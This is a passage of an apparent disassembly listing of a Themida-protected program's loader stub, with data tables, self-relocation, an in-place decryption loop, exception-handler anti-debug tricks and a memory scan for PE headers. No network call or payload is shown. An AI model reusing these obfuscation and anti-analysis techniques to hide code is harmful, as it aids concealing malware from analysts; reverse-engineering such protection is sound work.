		dd 400E900h, 2 dup(0)
		dd 0A269DD00h, 0Bh dup(0)
		dd 0A7FFDD00h, 0FFh, 2 dup(0)
		dd 0EBA6E900h, 77h, 2 dup(0)
		dd 5B2C4A00h, 7	dup(0)
		dd 25F09E00h, 0A23E3BF7h, 4 dup(0)
		dd 0DD189A00h, 0FF8D4C77h, 3A0FFh, 0Ah dup(0)
		dd 9484D600h, 3Ch, 0
		dd 5A867C00h, 0A7FFDD00h, 0FFh,	572B6D00h, 0
		dd 21A200h, 6 dup(0)
		dd 0DD23D700h, 77h, 5 dup(0)
		dd 57D18000h, 7EB8DB00h, 3, 2 dup(0)
		dd 0FEA65400h, 6F95287Fh, 35h, 0
		dd 54002300h, 2	dup(0)
		dd 51C00h, 6 dup(0)
		dd 570EE900h, 3	dup(0)
		dd 5B80AE00h, 7	dup(0)
		dd 58779000h, 2	dup(0)
		dd 5BEC5D00h, 9	dup(0)
		dd 5BEDF300h, 2	dup(0)
		dd 886900h, 5 dup(0)
		dd 5BE9DA00h, 2	dup(0)
		dd 0A7D7B900h, 0FFh, 2 dup(0)
		dd 3667DE00h, 0B8h, 10C00h, 1Dh	dup(0)
		dd 58004400h, 4	dup(0)
		dd 9E0E6E00h, 0FEh, 4 dup(0)
		dd 54D1A900h, 2	dup(0)
		dd 0B0BBFB00h, 7 dup(0)
		dd 0A28C0A00h, 0FFFFFF00h, 0FFh, 2 dup(0)
		dd 3EC00h, 7D5200h, 0A1000000h,	0
		dd 5E2D00h, 4 dup(0)
		dd 0B0000000h, 0FE030400h, 7Fh,	3 dup(0)
		dd 8C30200h, 88h, 3 dup(0)
		dd 68905E00h, 45h, 4 dup(0)
		dd 5C2E3800h, 19h, 2 dup(0)
		dd 52FFB000h, 1, 8 dup(0)
		dd 0B400h, 5C002300h, 0Ch dup(0)
		dd 0FF000100h, 0A4816277h, 0FFh, 2 dup(0)
		dd 58004400h, 3	dup(0)
		dd 73655200h, 74726174h, 2E707041h, 657865h, 0FE030400h
		dd 7Fh,	0A8C78A00h, 66h, 0
		dd 886900h, 4 dup(0)
		dd 886900h, 3 dup(0)
		dd 100h, 4 dup(0)
		dd 57D1A800h, 4F7B2300h, 62C4B3DFh, 6Ch, 0E94700h, 0B0B1CA00h
		dd 5B492A00h, 0
		dd 0EA000000h, 1Fh, 595D5900h, 0
		dd 0D0F9B00h, 5Ch, 0
		dd 4001E800h, 0AC00h, 4	dup(0)
		dd 43000800h, 2, 0
		dd 0A8C78A00h, 66h, 0E7C48600h,	46DA4477h, 0C2h, 3 dup(0)
		dd 5B87B300h, 0
		dd 2633A900h, 98h, 8 dup(0)
		dd 0A2229200h, 0
		dd 2155C00h, 0
		dd 0B0B7D300h, 0CBh, 8 dup(0)
		dd 4B6CB800h, 2, 775AA800h, 0F2h, 0
		dd 5BD98000h, 21212100h, 1FCFC21h, 80h,	0
		dd 0E776CD00h, 22222277h, 22222222h, 22h, 0EC00h, 6 dup(0)
		dd 0FF939800h, 579777FFh, 0
		dd 0F7EBB300h, 77h, 11h	dup(0)
		dd 5CA6FF00h, 8	dup(0)
		dd 0A10FE600h, 5A772000h, 0
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 5B898100h, 2	dup(0)
		dd 0FF966C00h, 0FFh, 7 dup(0)
		dd 0E0F48F00h, 1, 0Ch dup(0)
		dd 0E7A5FD00h, 0FE030477h, 1111117Fh, 111h, 2 dup(0)
		dd 54D1A900h, 4	dup(0)
		dd 0A3156000h, 6 dup(0)
		dd 0A4731600h, 7 dup(0)
		dd 0FF000100h, 77h, 0BFh dup(0)
		dd 54E87D00h, 52h, 3 dup(0)
		dd 5CC01500h, 2	dup(0)
		dd 0D000h, 2 dup(0)
		dd 370DFA00h, 0B4A19F15h, 8F000004h, 0F93EF902h, 0E78B8279h
		dd 77h,	3 dup(0)
		dd 0E6D70600h, 77h, 3 dup(0)
		dd 0D41BE700h, 5B472h, 2 dup(0)
		dd 59C02500h, 3	dup(0)
		dd 58CE8800h, 7	dup(0)
		dd 0A2314500h, 6 dup(0)
		dd 9E800h, 5 dup(0)
		dd 0E8000h, 2 dup(0)
		dd 0A270C400h, 3 dup(0)
		dd 0A5AD5700h, 24CFFh, 3 dup(0)
		dd 574A8700h, 9	dup(0)
		dd 0E101400h, 55114600h, 1929h,	0
		dd 0A2FD0D00h, 0D8h, 0
		dd 24242400h, 24h, 2Dh dup(0)
		dd 0E7AC5E00h, 77h, 0FE030400h,	7Fh, 9 dup(0)
		dd 0FF8FC800h, 588CAAFFh, 3 dup(0)
		dd 59602F00h, 0
		dd 78FB600h, 53h, 0FE030400h, 12FFA47Fh, 5BE33900h, 4 dup(0)
		dd 0E8059100h, 77h, 17h	dup(0)
		dd 0B443D100h, 0FFh, 0
		dd 0A2A00F00h, 2 dup(0)
		dd 5C000000h, 2, 9 dup(0)
		dd 0A1C700h, 6 dup(0)
		dd 30DF00h, 0
		dd 0C7209F00h, 0B41B4049h, 407EA676h, 65h, 589FAD00h, 1446D000h
		dd 58284700h, 8	dup(0)
		dd 0A28C0A00h, 0A3FD1E00h, 0FFh, 51C00h, 0A68D5300h, 7 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0B0966D00h, 1, 5 dup(0)
		dd 0A6FBDB00h, 0FFh, 2 dup(0)
		dd 29EF4000h, 0FDh, 2 dup(0)
		dd 18016000h, 3	dup(0)
		dd 58286D00h, 5	dup(0)
		dd 0E92EF800h, 79h, 4 dup(0)
		dd 0FFA9E700h, 0FFh, 59F61100h,	4 dup(0)
		dd 0FD1CF700h, 574A87EBh, 3 dup(0)
		dd 0C530DF00h, 0E7C657A9h, 0E8061877h, 77h, 96F56600h
		dd 12FEF0AEh, 3	dup(0)
		dd 5CA6FF00h, 5BFFDB00h, 0A4B13400h, 2 dup(0)
		dd 58002300h, 4	dup(0)
		dd 63100400h, 0F6h, 3 dup(0)
		dd 18C26900h, 0FEh, 0BE9B1400h,	0FFB57977h, 0FFh, 2 dup(0)
		dd 5BFFFD00h, 3	dup(0)
		dd 5C000000h, 2, 0C800h, 6 dup(0)
		dd offset dword_412B64+9Ch
		dd 0Bh dup(0)
		dd 0D400h, 0
		dd 0D8479800h, 51h, 7 dup(0)
		dd 5CCE5700h, 2	dup(0)
		dd 8D8100h, 80h, 57CEE500h, 0A7E5FF00h,	0FFh, 0
		dd 0E793EF00h, 77h, 0Dh	dup(0)
		dd 0D000h, 0Ch dup(0)
		dd 5CC24800h, 2	dup(0)
		dd 2A00h, 3 dup(0)
		dd 0A000h, 6 dup(0)
		dd 39C3B000h, 4Fh, 2 dup(0)
		dd 0E78B8200h, 77h, 0D0448D00h,	39h, 2 dup(0)
		dd 5B2C9600h, 0
		dd 0FF065200h, 0FFh, 2 dup(0)
		dd 3A000h, 0AF9AC300h, 0AEh, 2 dup(0)
		dd 0C400h, 5CC7B800h, 570EE900h, 4 dup(0)
		dd 3D1400h, 0E6000000h,	0FE030077h, 7Fh, 3 dup(0)
		dd 0FA090B00h, 7Fh, 0
		dd 0FFFFFF00h, 0FFh, 0
		dd 0A3156800h, 0
		dd 0FFB57900h, 0FFh, 0
		dd 0A269DD00h, 0Ah dup(0)
		dd 0CC00h, 2 dup(0)
		dd 0A7D7B900h, 0FFh, 9 dup(0)
		dd 5B7E9E00h, 0C000h, 0FFB81B00h, 0FFh,	0AA68E400h, 0E7h
		dd 2 dup(0)
		dd 0E7796300h, 0FFFFFE77h, 4 dup(0)
		dd 0FF8E5000h, 0FFh, 5 dup(0)
		dd 5308B00h, 5CC2D476h,	2 dup(0)
		dd 5898A400h, 2	dup(0)
		dd 0E8216800h, 77h, 0
		dd 0CD8CC100h, 5Bh, 0B0EC2700h,	0FDh, 3	dup(0)
		dd 58284700h, 0
		dd 274E00h, 5 dup(0)
		dd 0C4F74D00h, 60h, 0FF672F00h,	0F500007Fh, 77h, 901F800h
		dd 0A3156800h, 0A22BDE00h, 12D42400h, 0
		dd 5CC2D400h, 4	dup(0)
		dd 58285900h, 2	dup(0)
		dd 0E7C78500h, 52A30077h, 94h, 0Eh dup(0)
		dd 586A6E00h, 0
		dd 886900h, 2 dup(0)
		dd 0FE030400h, 6568547Fh, 6164696Dh, 24h dup(0)
		dd 0E805D800h, 77h, 0
		dd 0A1E31700h, 73h, 0
		dd 54084F00h, 6	dup(0)
		dd 0A26CB000h, 3 dup(0)
		dd 0FFE7FF00h, 0FFh, 0
		dd 58284700h, 0FE030400h, 7Fh, 0
		dd 0D6BDFF00h, 0BFFF103Ah, 0FFh, 0
		dd 0A322D400h, 0
		dd 0DD59F000h, 77h, 0FE030400h,	7Fh, 4 dup(0)
		dd 5B614A00h, 0E74A3B00h, 2477h, 5D6C6D00h, 0FFh, 0Bh dup(0)
		dd 0AF8D8D00h, 0EFh, 6 dup(0)
		dd 0A2949900h, 6 dup(0)
		dd 574A8700h, 0
		dd 5B870C00h, 58B60300h, 0FFFFFF00h, 0FFh, 0FFFFFF00h
		dd 0FFh, 0
		dd 12FEF000h, 5	dup(0)
		dd 54D93D00h, 3	dup(0)
		dd 0AB504300h, 0FFh, 5 dup(0)
		dd 5CD87800h, 9	dup(0)
		dd 0A269DD00h, 0
		dd 0FE030400h, 7Fh, 0
		dd 0A209F700h, 4B6B9C00h, 2, 2 dup(0)
		dd offset dword_43AE78+0E88h
		dd 3 dup(0)
		dd 0F52E0F00h, 77h, 38h	dup(0)
		dd 0BFDF00h, 2 dup(0)
		dd 46BB0600h, 0A322D8F7h, 0
		dd 0B39AA900h, 5 dup(0)
		dd 5B000000h, 2, 0
		dd 42FFB000h, 2, 2 dup(0)
		dd 1DE58600h, 0Eh, 3 dup(0)
		dd 5E000000h, 2, 2 dup(0)
		dd 0D2D48100h, 42h, 4BA05400h, 0B2A1FEFCh, 7CC37900h, 8
		dd 0FE030400h, 7Fh, 5980A400h, 3 dup(0)
		dd 57977700h, 0E77CB700h, 0E01A77h, 3, 5893BE00h, 0D7h
		dd 5 dup(0)
		dd 1FCFC00h, 80h, 57CEFF00h, 0
		dd 9C00h, 0
		dd 0FEFFFF00h, 7Fh, 3 dup(0)
		dd 0AB504300h, 0FFh, 0
		dd 42FFB000h, 2, 4 dup(0)
		dd 0FDC81F00h, 6Eh, 5A38AA00h, 0
		dd 0BF002300h, 5857FE9Fh, 0
		dd 0FA7400h, 30DF00h, 3	dup(0)
		dd 0A30C4C00h, 0E83E6800h, 9FA92477h, 0B884h, 0C00B0000h
		dd 18C20374h, 24448B00h, 0E8530Ch, 5B000000h, 17C381h
		dd 5C890000h, 44891024h, 0B85B1424h, 0A2A037h, 448BE0FFh
		dd 0E0FF0424h, 14h dup(0)
		dd 0AE4D500h, 88h, 5A772000h, 1Bh dup(0)
		dd 0FE030400h, 17Fh, 400h, 2 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 69DD00h, 5 dup(0)
		dd 7A2D6E00h, 0EFh, 0
		dd 58284700h, 0
		dd 12FFF000h, 412C00h, 12FEF800h, 2 dup(0)
		dd 590C0F00h, 54AFBD00h, 2 dup(0)
		dd 0DD5ECC00h, 77h, 0Dh	dup(0)
		dd 0FFE7FF00h, 0FFh, 5 dup(0)
		dd 5B9D1C00h, 3	dup(0)
		dd 58284700h, 4	dup(0)
		dd 0A26CB000h, 400h, 4 dup(0)
		dd 100h, 3 dup(0)
		dd 5D5FF100h, 8869FFh, 5 dup(0)
		dd 7D6C0700h, 0F4h, 0
		dd 83A6B000h, 0A25E2EFFh, 8 dup(0)
		dd 43000000h, 5CCE5702h, 35B00h, 0
		dd 0B0EA6A00h, 0EAh, 14h dup(0)
		dd 583B6A00h, 4	dup(0)
		dd 0FE030400h, 10007Fh,	3 dup(0)
		dd 853FB900h, 72h, 1C04A00h, 3 dup(0)
		dd 58C28200h, 4	dup(0)
		dd 2BB500h, 2 dup(0)
		dd 0AEFA2D00h, 80h, 9 dup(0)
		dd 13E900h, 3800h, 0C8E4000h, 53h, 12h dup(0)
		dd 5719EB00h, 4Ch, 5 dup(0)
		dd 0E8CA00h, 56842600h,	80h, 0A800h, 5 dup(0)
		dd 0A1B16800h, 3 dup(0)
		dd 30DF00h, 3 dup(0)
		dd 55597400h, 86h, 0
		dd 886900h, 7 dup(0)
		dd 0D0F9A00h, 5Ch, 4 dup(0)
		dd 0D4C96A00h, 77h, 0
		dd 5A38AA00h, 2	dup(0)
		dd 0DE00000h, 4	dup(0)
		dd 0A323E800h, 4 dup(0)
		dd 86969A00h, 62h, 0Ah dup(0)
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 7Ch dup(0)
		dd 82F2AC00h, 7A2D6F5Ch, 0EFh, 590B9100h, 6 dup(0)
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Eh dup(0)
		dd 482DDC00h, 479BFA02h, 1Bh, 0
		dd 3A000h, 9 dup(0)
		dd 7AAC1200h, 1EBh, 234D600h, 32h, 5 dup(0)
		dd 0FF962000h, 0FFh, 3 dup(0)
		dd 4895000h, 24h, 0A000h, 3 dup(0)
		dd 54C0C100h, 4	dup(0)
		dd 4DF00000h, 38D8D00h,	0F6h, 3	dup(0)
		dd 0E737FF00h, 77h, 3 dup(0)
		dd 0FA243300h, 0A1D554C9h, 2 dup(0)
		dd 58CD2800h, 2	dup(0)
		dd 59C02500h, 7	dup(0)
		dd 54B02100h, 7	dup(0)
		dd 58002300h, 0A60D7300h, 0FFh,	0
		dd 886900h, 0ED011000h,	0FFh, 0Ah dup(0)
		dd 4B6CB800h, 2, 0
		dd 1E223D00h, 4Ah, 11h dup(0)
		dd 54AFBD00h, 0
		dd 1FFE6000h, 6Ah, 9 dup(0)
		dd 0A209F700h, 66h dup(0)
		dd 0A10FE600h, 0
		dd 55474400h, 4Eh, 548300h, 3 dup(0)
		dd 8F000000h, 2, 0FFA1F800h, 0FFh, 4 dup(0)
		dd 5BE9DA00h, 0
		dd 1BA69500h, 17h, 0FE030400h, 7Fh, 18h	dup(0)
		dd 0A322D800h, 0
		dd 6ACF5500h, 77h, 8 dup(0)
		dd 0FE030400h, 0E7C7857Fh, 77h,	8 dup(0)
		dd 0E82FE800h, 41F577h,	0
		dd 58D7CB00h, 4	dup(0)
		dd 0C530DF00h, 1A9h, 2 dup(0)
		dd 0E73D4500h, 77h, 0Ch	dup(0)
		dd 0E75CB500h, 77h, 0
		dd 0A84C6100h, 0FFh, 0
		dd 0A9483700h, 7Fh, 0E737DE00h,	77h, 100h, 58002300h, 16h dup(0)
		dd 7D100h, 0FE030400h, 7Fh, 2 dup(0)
		dd 0E75CB500h, 0FE030477h, 7Fh,	0
		dd 3A100h, 5D000000h, 2, 0Bh dup(0)
		dd 24F3E400h, 0E0h, 12FF5400h, 0E776CC00h, 77h,	0B9A4EC00h
		dd 77h,	2 dup(0)
		dd 886900h, 58398300h, 3 dup(0)
		dd 0E7C72600h, 77h, 5 dup(0)
		dd 4DFC7600h, 77h, 0A0DE00h, 4 dup(0)
		dd 0FE2F8D00h, 0FFh, 3 dup(0)
		dd 8E6EFC00h, 57D158BCh, 5BA10C00h, 3 dup(0)
		dd 9BB700h, 590C1700h, 5 dup(0)
		dd 0A6A5E700h, 0FE030400h, 7Fh,	4 dup(0)
		dd 0C530DF00h, 0A9h, 0A2915B00h, 0
		dd 0C530DF00h, 0A9h, 0
		dd 5BEFFF00h, 0Bh dup(0)
		dd 5CDF3300h, 0
		dd 126700h, 5C2E3800h, 1519h, 5B752400h, 0
		dd 54B6A900h, 6	dup(0)
		dd 100h, 7 dup(0)
		dd 58002300h, 4	dup(0)
		dd 0D4000000h, 5CC2D477h, 0BA2C00h, 2 dup(0)
		dd 0A2A03700h, 3 dup(0)
		dd 12FFC400h, 3	dup(0)
		dd 3CA0000h, 8 dup(0)
		dd 0D4C96A00h, 4001E877h, 0ADBFDF00h, 30h, 0B800h, 3 dup(0)
		dd offset dword_412B64+9Ch
		dd 7 dup(0)
		dd 58002300h, 3	dup(0)
		dd 0A7FFBC00h, 0FFh, 3 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0ED011000h, 0FFh, 0
		dd 0A8640500h, 0FFh, 5 dup(0)
		dd 0FFD73000h, 0FFh, 11h dup(0)
		dd 0EFAB800h, 370DFB01h, 15h, 0
		dd 0EFFD4500h, 0A2A00FFCh, 259A0500h, 0C8E3CDFh, 53h, 886900h
		dd 5 dup(0)
		dd 1F2FFF00h, 1Ch, 5B6AB300h, 0
		dd 5B9C8A00h, 3	dup(0)
		dd 6200h, 5B7D7000h, 2 dup(0)
		dd 100h, 2 dup(0)
		dd 1F2FFF00h, 41Ch, 90830600h, 58h, 33333300h, 2 dup(33333333h)
		dd 33h,	37h dup(0)
		dd 0DD000000h, 77h, 0
		dd 0FA7400h, 4 dup(0)
		dd 0FFB71700h, 0FFh, 4200h, 9 dup(0)
		dd 54AFBD00h, 0F7DFFF00h, 15h dup(0)
		dd 0C530DF00h, 0A9h, 2 dup(0)
		dd 71F30700h, 0BDh, 5 dup(0)
		dd 718C7C00h, 0A2923405h, 2 dup(0)
		dd 0B28D8D00h, 7Bh, 0
		dd 5AFF3A00h, 0FFFFFF00h, 0FFh,	5B629900h, 58CE8800h, 0A6999500h
		dd 6 dup(0)
		dd 7CCF00h, 0FE030400h,	7Fh, 0
		dd 9BFA00h, 10h	dup(0)
		dd 5A2C7E00h, 0
		dd 5CDF3300h, 100h, 2 dup(0)
		dd 436D5300h, 72h, 5 dup(0)
		dd 0E6003E00h, 77h, 0D3FDC700h,	6, 0
		dd 100h, 4 dup(0)
		dd 0B9000000h, 4E101400h, 58057000h, 4 dup(0)
		dd 3E341000h, 20h, 0A2A00F00h, 0Ah dup(0)
		dd 12FFE000h, 8	dup(0)
		dd 68519D00h, 574A87B3h, 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_54CB35:				; CODE XREF: Themida_:loc_5495FCj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 60E3543h
		mov	[ebp+60E3055h],	edx
		mov	[ebp+60E2FD5h],	esi
		mov	[ebp+60E21F9h],	eax
		cmp	dword ptr [ebp+60E02E9h], 0
		jz	short loc_54CB6D
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54CB6D:				; CODE XREF: Themida_:0054CB5Fj
		mov	eax, [esp+24h]
		mov	[ebp+60E1E6Dh],	eax
		push	45h
		call	sub_54CC21
		push	783749Ah
		call	sub_54CC67
		push	0A894B25h
		call	sub_54CC67
		jmp	loc_54CDAB
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54CC21	proc near		; CODE XREF: Themida_:0054CB79p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 60E3631h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54CC3D:				; CODE XREF: sub_54CC21+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54CC5C
		mov	eax, [ebp+arg_0]
		mov	[ebx+60E359Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54CC3D
; ---------------------------------------------------------------------------


loc_54CC5C:				; CODE XREF: sub_54CC21+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54CC21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54CC67	proc near		; CODE XREF: Themida_:0054CB83p
					; Themida_:0054CB8Dp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 60E367Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54CC8D:				; CODE XREF: sub_54CC67+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54CC8D
		mov	[ebp+var_84], 0
		lea	edi, [edx+60E359Bh]
		lea	esi, [ebp+var_80]


loc_54CCBD:				; CODE XREF: sub_54CC67+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54CCC9:				; CODE XREF: sub_54CC67+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54CCC9
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54CCBD
		popa
		leave
		retn	4
sub_54CC67	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54CD07
; ---------------------------------------------------------------------------


loc_54CD03:				; CODE XREF: Themida_:0054CD0Aj
		inc	dword ptr [ebp-4]
		inc	esi


loc_54CD07:				; CODE XREF: Themida_:0054CD01j
		cmp	byte ptr [esi],	0
		jnz	short loc_54CD03
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54CD98
; ---------------------------------------------------------------------------


loc_54CD19:				; CODE XREF: Themida_:0054CD9Bj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54CD8F
; ---------------------------------------------------------------------------


loc_54CD22:				; CODE XREF: Themida_:0054CD93j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54CD7C
; ---------------------------------------------------------------------------


loc_54CD32:				; CODE XREF: Themida_:0054CD80j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54CD54
		cmp	bl, 39h
		ja	short loc_54CD54
		sub	bl, 30h
		jmp	short loc_54CD76
; ---------------------------------------------------------------------------


loc_54CD54:				; CODE XREF: Themida_:0054CD48j
					; Themida_:0054CD4Dj
		cmp	bl, 61h
		jb	short loc_54CD66
		cmp	bl, 66h
		ja	short loc_54CD66
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54CD76
; ---------------------------------------------------------------------------


loc_54CD66:				; CODE XREF: Themida_:0054CD57j
					; Themida_:0054CD5Cj
		cmp	bl, 41h
		jb	short loc_54CD76
		cmp	bl, 46h
		ja	short loc_54CD76
		sub	bl, 41h
		add	bl, 0Ah


loc_54CD76:				; CODE XREF: Themida_:0054CD52j
					; Themida_:0054CD64j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54CD7C:				; CODE XREF: Themida_:0054CD30j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54CD32
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54CD8C
		mov	eax, [ebp-10h]
		stosb


loc_54CD8C:				; CODE XREF: Themida_:0054CD86j
		inc	dword ptr [ebp-8]


loc_54CD8F:				; CODE XREF: Themida_:0054CD20j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54CD22
		add	edx, 4


loc_54CD98:				; CODE XREF: Themida_:0054CD17j
		cmp	edx, [ebp-4]
		jb	loc_54CD19
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_54CDAB:				; CODE XREF: Themida_:0054CB92j
		mov	ecx, 7000h
		lea	edi, [ebp+60E37C0h]


loc_54CDB6:				; CODE XREF: Themida_:0054CDBAj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54CDB6
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+60E389Eh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	ecx
		mov	ebx, 20447A88h
		pop	ebx
		call	near ptr loc_54CDF8+2
		movd	edi, mm3
		or	ah, [ebx]


loc_54CDF8:				; CODE XREF: Themida_:0054CDEEp
		shr	dword ptr [ebp+2CA8BB57h], 24h
		inc	esi
		pop	ebx
		pop	ebx
		sub	eax, edx
		mov	bx, 0F824h
		and	eax, 0FFFFF000h
		mov	ecx, edx
		xor	edi, edi


loc_54CE11:				; CODE XREF: Themida_:0054CE2Cj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54CE26
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54CE2E


loc_54CE26:				; CODE XREF: Themida_:0054CE16j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54CE11
; ---------------------------------------------------------------------------


loc_54CE2E:				; CODE XREF: Themida_:0054CE24j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+60E38B1h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54CE68
		mov	esi, [eax+1Ch]


loc_54CE68:				; CODE XREF: Themida_:0054CE63j
		xor	eax, eax


loc_54CE6A:				; CODE XREF: Themida_:0054CE7Dj
		cmp	eax, 32h
		jz	short loc_54CE8E
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54CE7F


loc_54CE76:				; CODE XREF: Themida_:0054CE8Cj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54CE6A
; ---------------------------------------------------------------------------


loc_54CE7F:				; CODE XREF: Themida_:0054CE74j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54CED0
		jmp	short loc_54CE76
; ---------------------------------------------------------------------------


loc_54CE8E:				; CODE XREF: Themida_:0054CE6Dj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax

locret_54CEAC:				; CODE XREF: Themida_:0054CF20j
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60E38BCh
		lea	eax, [ebp+60E387Ah]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_54CED0:				; CODE XREF: Themida_:0054CE8Aj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		call	near ptr loc_54CEE2+3
		and	al, 28h


loc_54CEE2:				; CODE XREF: Themida_:0054CEDBp
		mov	edi, 0C0D380A7h
		pop	ebx
		mov	bl, 0CEh
		jmp	loc_54CEFF
; ---------------------------------------------------------------------------
		dd 0B6AFBF1Dh, 0B4F73941h, 600E4FEh
		db 0E8h, 73h, 1Eh
; ---------------------------------------------------------------------------


loc_54CEFF:				; CODE XREF: Themida_:0054CEEBj
		mov	cx, ds
		push	0
		push	edx
		call	sub_54CF0D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54CF0D	proc near		; CODE XREF: Themida_:0054CF05p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_54CF0D	endp

; ---------------------------------------------------------------------------
		test	[esi-7Fh], ah
		jecxz	short locret_54CEAC
		test	byte ptr [eax+666004E1h], 0BBh
		mov	ds:4DA2B8BBh, eax
		pop	esi
		add	[ecx+0Ah], ah
		leave
		jnz	loc_54CFB2
		pusha
		stc
		mov	cx, 49E0h
		popa
		push	edx
		jmp	loc_54CF4C
; ---------------------------------------------------------------------------
		dw 0F7F5h
		dd 29FD8F20h
; ---------------------------------------------------------------------------


loc_54CF4C:				; CODE XREF: Themida_:0054CF41j
		pop	ebx
		mov	dword ptr [ebp+60E0D79h], 1
		push	0
		push	esi
		call	sub_54CF62
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54CF62	proc near		; CODE XREF: Themida_:0054CF5Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_54CF62	endp

; ---------------------------------------------------------------------------
		xor	eax, 0BDFADD15h
		lea	ecx, [edi]
		mov	es, word ptr ds:52000000h
		mov	bx, di
		pop	ebx
		jmp	loc_54CFBE
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_54CF93
